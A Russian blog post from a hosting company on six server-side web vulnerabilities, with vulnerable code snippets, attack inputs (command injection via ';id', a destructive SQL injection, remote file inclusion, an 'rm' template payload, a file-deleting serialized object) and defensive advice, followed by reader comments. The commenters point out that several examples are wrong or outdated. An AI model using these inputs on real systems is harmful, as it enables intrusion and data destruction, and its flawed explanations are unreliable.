Привет, Хабр! На связи Виталий Киреев, руководитель R&D SpaceWeb. В статье я расскажу про главные уязвимости Server Side, покажу примеры и объясню, как защищать данные. 

Принцип отбора бэкенд-уязвимостей

Тему с веб-уязвимостями мы решили раскрыть после нашей недавней статьи на Хабре. В ней мы рассказали о том, как ввели собственную методологию обучения веб-безопасности для новых сотрудников, но не останавливались детально на каждой веб-уязвимости. Но теперь настало время погрузиться глубже.

В стандарты веб-безопасности Server Side в SpaceWeb входит 6 типов уязвимостей. За основу мы взяли стандарты OWASP — международной некоммерческой организации, которая занимается вопросами обеспечения безопасности веб-приложений. Изучили весь список уязвимостей и отобрали только те, которые актуальны для нашего стека (PHP, Python, MySQL) и нашего проекта с учётом того, что он легаси и поддерживается уже больше 15 лет. Остановимся на них подробнее.

RCE (Remote Code Execution) — инъекция кода

Используя эту уязвимость, хакер сможет внедрить свой код на сервер и выполнять любые команды, как если бы он был легальным пользователем. 

Например, если в приложении можно выполнять команды через интерфейс пользователя, и эти команды передаются на сервер без должной проверки — хакер может использовать это для внедрения вредоносного кода. 

Чтобы воспользоваться уязвимостью, часто используют SQL-инъекции. А еще функцию exec, которая передает параметр, в котором можно сделать инъекцию shell-кода.

Пример 1:

Возьмем уязвимый скрипт. Ему передается домен, и он проверяет сервер, на котором расположен домен на доступность:

$domain = $_GET['domain'];                                                                                              
print(shell_exec("ping -c 1 $domain"));

Но если мы к домену через ";" добавим Linux команду, то shell_exec ее тоже выполнит. Пример:

# curl -s https://site.ru/script.php?domain=sweb.ru;id                                                      
PING sweb.ru(2a02:408:7722:41:77:222:41:15 (2a02:408:7722:41:77:222:41:15)) 56 data bytes                               
64 bytes from 2a02:408:7722:41:77:222:41:15 (2a02:408:7722:41:77:222:41:15): icmp_seq=1 ttl=60 time=1.31 ms                                                                                                                                     
--- sweb.ru ping statistics ---                                                                                         
1 packets transmitted, 1 received, 0% packet loss, time 0ms                                                             
rtt min/avg/max/mdev = 1.312/1.312/1.312/0.000 ms                                                                       
uid=0(root) gid=0(root) groups=0(root)

В этом случае у нас помимо пинга, выполнилась еще и команда id.

Пример 2:

Код в проекте:

$pdo->query(‘SELECT * FROM user WHERE name = ‘ . $_GET[‘name’])

Вызов скрипта:

script.php?name=aa+UNION+TRUNCATE+users --

Результат SQL-инъекции: будет удалена таблица users.

Как можно защититься:

  • Никогда не используем входящие данные для прямого конструирования запросов к другим сервисам, например MySQL.

  • Запрещаем использовать команды, работающие с shell: exec, system, shell_exec, passthru, pctrl_exec, eval.

LFI/RFI (Local/Remote File Inclusion) — подключение файлов

Local File Inclusion — с помощью этой уязвимости злоумышленник может изменить путь к файлам на сервере в URL-адресе и получить доступ к ним. Обычно эта проблема возникает из-за недостаточной фильтрации входящих данных.

Пример:

Код в проекте:

$file = $_GET['template'];
include($file);

Вызов скрипта:

/view.php?template=admin.php

Результат: можно будет подключить любой файл из проекта

Remote File Inclusion — тут хакер может внедрить внешний файл на сервер. Работает это так: отправляется запрос, включающий ссылку на внешний файл с вредоносным кодом, и код выполняется на сервере.

Пример:

Код в проекте:

$file = $_GET['template'];
include($file);

Вызов скрипта:

/view.php?template=http://some.site/remote_code.php

Важно отметить, что php на стороне злоумышленника не должен выполняться и не должен быть установлен, то есть код файла должен отдаваться в чистом виде.

Результат: можно будет подключить вредоносный код с другого сайта для выполнения на вашем.

Как можно защититься:

  • Не подключаем файлы по относительным путям. Для защиты фильтруем путь на наличие "/../" и "/./".

  • Запрещаем внешние allow_url_include в php.ini

  • В принципе проверяем, что подключаем на разрешенные значения. Как это сделать:

<?php
$file = $_GET['file'];
if(in_array($file,['file1', 'file2'])){
include(dirname(__FILE__).'/'.$file.'.php');
}

SSTI (Server-Side Template Injection) — инъекция в шаблоны

Шаблонизаторы на стороне backend очень функциональные — они могут выполнять действия и получать доступ к различным файлам. Так, хакер может внедрить код в поле ввода или в URL-адрес и заставить сервер выполнить его как часть шаблона.

Пример:

Код в проекте использует отображение поискового запроса в шаблоне (параметр query).

Вызов скрипта:

/search?query={{import os; os.system('rm some_file')}}

Результат: шаблонизатор выполнит переданный код, как команду и удалит some_file.

Как можно защититься:

  • Своевременно обновляем шаблонизаторы. Например, у Twig новые версии выходят несколько раз в год. Тут важно смотреть пометки от разработчиков, что версия может иметь замечания по безопасности.

  • Отправляем в шаблон только проверенные переменные. 

Пример проверенных переменных на Python:

import html
# строка sanitized_str будет содержать
# экранированные символы html
sanitized_str = html.escape(input_str)

SSRF (Server-Side Request Forgery) — подделка запросов

Через эту уязвимость хакеры могут с помощью снифферов и прокси вычислять, какой запрос выполняется, и подделывать данные в нем. Наиболее уязвимыми будут веб-приложения, которые взаимодействуют со сторонними сервисами или загружают данные по ссылкам. 

Пример:

Запрос к API:

{"action":"removeAccount","user":"aaaa"}

Изменяем запрос, чтобы удалить чужой аккаунт:

{"action":"removeAccount","user":"bbbb"}

Как можно защититься:

  • Никогда не доверяем данным, которые получили извне. Если есть возможность установить белый список адресов для обращения, делаем это. В случае, когда нет возможности ограничить адреса, исключаем обращение к внешним ресурсам. 

  • Обязательно фильтрацию данных. Если нужно, дополнительно проверяем или очищаем их.

IDOR (Insecure Direct Object References) — несанкционированный доступ

Уязвимость дает доступ к данным, которые в нормальной ситуации закрыты для пользователя. Обычно используют доступ к данным по определенному референсу. 

Например, у нас может быть ссылка на редактирование аккаунта пользователя. С помощью IDOR хакер сможет заменить эту ссылку на редактирование другого пользователя. При этом веб-приложение никак не уведомит нас о уязвимости, и обнаружить ее будет непросто.

Пример:

Просмотр своего заказа в интернет-магазине:

http://some.site/order?id=1111

Заменяем номер заказа и просматриваем чужой:

http://some.site/order?id=2222

Как можно защититься:

  • Проверяем и ограничиваем доступ к управлению объектами.

  • Проверяем все endpoint, заголовки и cookie — те параметры, которые можно подделать с отправляющей стороны.

PHP Object Injection — инъекция объекта

В PHP есть возможность сериализовать и рассериализовывать объекты — преобразовывать их в текстовый или иной вид, чтобы потом передавать объекты на сервер. Нюанс уязвимости в том, что иногда в этих объектах может содержаться деструктивный код. 

Например, у нас есть деструктивный класс, который что-то удаляет. В случае вызова скрипта, который принимается за сериализованные данные, мы сериализуем туда вместо валидных данных тот самый деструктивный класс, который будет выполнять код на стороне клиентского сервиса. Когда полученные данные рассериализуются, в моменте ничего страшного не произойдет. Но когда скрипт завершит работу, и все деструкторы выполнятся — вредоносное действие тоже завершится. 

Пример:

Так может готовиться вредоносный код:

class Example1
{
function __destruct()
{
$file = "/some/file";
@unlink($file);
}
}
$Example1 = new Example1();

Вызов уязвимого скрипта с передачей вредоносного кода:

file_get_contents('http://some.site/script.php?data=' + urlencode(serialize($Example1)));

Результат: в уязвимом скрипте выполнится рассериализация данных, а в завершении скрипта выполнится деструктор.

Как можно защититься:

  • Никогда не доверяйте данным, полученным извне.

  • Используйте JSON.

Памятка: как защищаться от уязвимостей Server Side

  • Не доверяем никаким входным данным (GET, POST, COOKIE).

  • Очищаем входные данные через с помощью экранирования или фильтрации.

  • Не создаем неопределенные объекты, которые зависят от внешних данных, без дополнительной проверки. Пример — доступ к файлам через параметры.

  • Не используем без жесткой необходимости функции, работающие с системной командной оболочкой. Если без этого не обойтись, используйте их только для доверенных внутренних сервисов.

  • Не выдаваем права на изменения файлов проекта пользователю, из-под которого этот проект работает. Выполняемые скрипты могут содержаться в области, доступной для веб-сервера, и если мы даем права на изменение проекта, это может стать потенциальной уязвимостью.

Как защитить пользовательские данные

Если говорить про бэкенд-часть, есть несколько важных принципов:

  • Не храним пароли и ключи в незашифрованном виде. 

  • При любых действиях с данным проверяем полномочия аккаунта, который пытается внести изменения. Например, один пользователь не должен иметь прав на редактирование профиля или заказов другого пользователя.

  • Проводим ежедневный бэкап.

Комментарии (11)


  1. C4ET4uK
    16.05.2024 08:03
    +3

    Есть подозрение, что автор забыл php!=backed


  1. gro
    16.05.2024 08:03
    +2

    Вредные советы с phpclub за 2004-й год. Чем-то таким повеяло.


  1. Bo0oM
    16.05.2024 08:03
    +8

    Сначала начал писать замечания по пунктам, а потом понял, что это просто рандомная устаревшая хуета, просто автор особо не разбирается в тематике и все это бессмысленно.

    Без негатива)


  1. Securityhigh
    16.05.2024 08:03
    +2

    Заставили бедного сотрудника скопипастить хуйню для галочки?


  1. Akuma
    16.05.2024 08:03
    +2

    import os; os.system('rm some_file')

    Это легкий налет питона на пхпшный Twig?


  1. FanatPHP
    16.05.2024 08:03
    +11

    Статья очень смешная, но при этом очень, очень полезная. Из неё становится ясно, что в SpaceWeb - ни ногой! И в этом контексте ей полезно побывать в топе, "дабы дурость каждого была видна".

    Такой набор ереси даже ChatGPT не под силу. Это писал живой человек, причем человек, который не смыслит в "веб-уязвимостях" вообще ничего. Буквально. Не понимает ни одной строчки из тех примеров, которые приводит в этой статье. Хотя даже у джуна сразу возникли бы вопросы. И это "руководитель R&D SpaceWeb!", что бы это самоназвание не значило.

    Плюс эту статью можно использовать как сборник вредных советов. Которым только не хватает сеанса разоблачения, по которому мы сейчас быстро пробежимся.

    1. RCE (Remote Code Execution) — инъекция кода
      Вся защита сводятся к запретам, "никогда не используем" и "запрещаем использовать". Отличная рекомендация! А ещё лучше вообще не делать веб-сайт или приложение. Вот где будет 100% безопасность! Что такое "непрямое добавление" АКА подготовленные запросы/белые списки для SQL автор не знал, да ещё и забыл в придачу. Как и функцию escapeshellarg().
      Ну и UNION+TRUNCATE+users- это новое слово в SQL инъекциях!

    2. LFI/RFI (Local/Remote File Inclusion) — подключение файлов
      Ну тут худо-бедно без галлюцинаций, если только по мелочи: allow_url_include и так отключена в php.ini по умолчанию. И непонятно, какая проблема в том, чтобы подключить любой файл проекта - они и так подключаются. Про подключение, скажем, логов (или пресловутого "/etc/passwd") наш специалист по компьютерной безопасности даже не подозревает.

    3. SSTI (Server-Side Template Injection) — инъекция в шаблоны
      А вот здесь градус маразма наоборот повышается. Сама по себе уязвимость - это плод пубертатных фантазий каких-то мамкиных хакиров, которые умудрились протащить этот частный случай RCE ажно в OWASP.
      Но прекраснее всего здесь пример, конечно же. Пример полного непонимания текста его автором. Насколько я понял, суть этой уязвимости заключается в том, что шаблонизатор рендерит подсунутый снаружи шаблон. Но наш "руководитель R&D" полагает, что речь идет о простом "отображении поискового запроса в шаблоне".
      Ну и вишенка на изюминке - payload, внезапно - на Питоне!

    4. SSRF (Server-Side Request Forgery) — подделка запросов
      Сначала показалось, что уж в этой банальности, известной каждому школьнику, накосячить просто негде. А потом вчитался в рекомендацию. Это надо отлить в граните: "Если есть возможность установить белый список адресов для обращения, делаем это. В случае, когда нет возможности ограничить адреса, исключаем обращение к внешним ресурсам". WAT?! Ну ОК, ограничиваем доступ к нашему порталу только для браузеров бабки, дедки, внучки и жучки, а остальные пользователи пусть ходят куда-то ещё. Но при чём здесь обращения к внешним ресурсам? Кто, в какие "внешние ресурсы" и зачем тут обращается? Снова автор не понял ни слова из написанного.

    5. IDOR (Insecure Direct Object References) 
      В этой банальности тоже ошибиться особо негде, только непонятно, зачем проверять "все источники". Какая вообще разница, из какого источника пришел запрос? Да хоть из консоли. "Проверка и ограничение доступа к объектам" (которую люди попроще называют авторизацией), вообще никак не зависит от источника данных.

    6. PHP Object Injection — инъекция объекта
      Здесь автор, понятное дело, не мог не облажаться, эта уязвимость чуть менее тривиальная. Тут он перепутал существующий класс в атакуемом коде (в котором и есть этот "деструктивный деструктор") с вредоносной сериализацией (в которой не может быть никаких деструкторов, а только данные). И получается, что в данном примере на атакующей стороне достаточно объявить пустой class Example1{} - эффект будет тот же самый. А чуть более жизненным примером была бы передача, скажем, имени файла, который будет удаляться в деструкторе.

    7. Упс! Больше уязвимостей нету, только 6. То ли автор слишком утомился писать этот эпохальный труд, то ли приписал в заголовок лишнюю единичку по привычке.


    1. Securityhigh
      16.05.2024 08:03

      Это потрясающе, будь я с кармой – дал бы на акк, до слез


    1. Bo0oM
      16.05.2024 08:03
      +2

      Как минимум RFI не работает с версии PHP 5.2 (без изменения конфигурации самого интерпретатора PHP), который вышел, на минуточку, в 2006 году.

      Исправлению этой уязвимости как класса уже можно покупать пиво и сигареты.

      Как вообще упоминание RFI до сих пор бывает в 2024 году - загадка.


  1. DieSlogan
    16.05.2024 08:03

    Отмечу, что есть целый класс уязвимостей связанных с десериализацией XML и JSON. Всё дело в том, что в обычный XML/JSON код можно включить RPC команды, которые будут выполнены на сервере, при неправильной обработке XML/JSON.

    Подробнее смотри здесь


  1. LaoSan
    16.05.2024 08:03

    Хочу порекомендовать ребятам из SpaceWeb перестать писать статьи, в которых пересказывается давно устаревший материал. Если у вас есть желание (а так же время и энергия) написать годный материал, то не ленитесь и проверяйте актуальность как самой темы, так и изложенного текста.


  1. CitizenOfDreams
    16.05.2024 08:03
    +1

    Это я, непрошенный кэп. Правилами настольного тенниса габариты ракетки не регламентируются, и даже держать ее двумя руками не запрещается. Так что Билл Гейтс на фото все делает в рамках закона.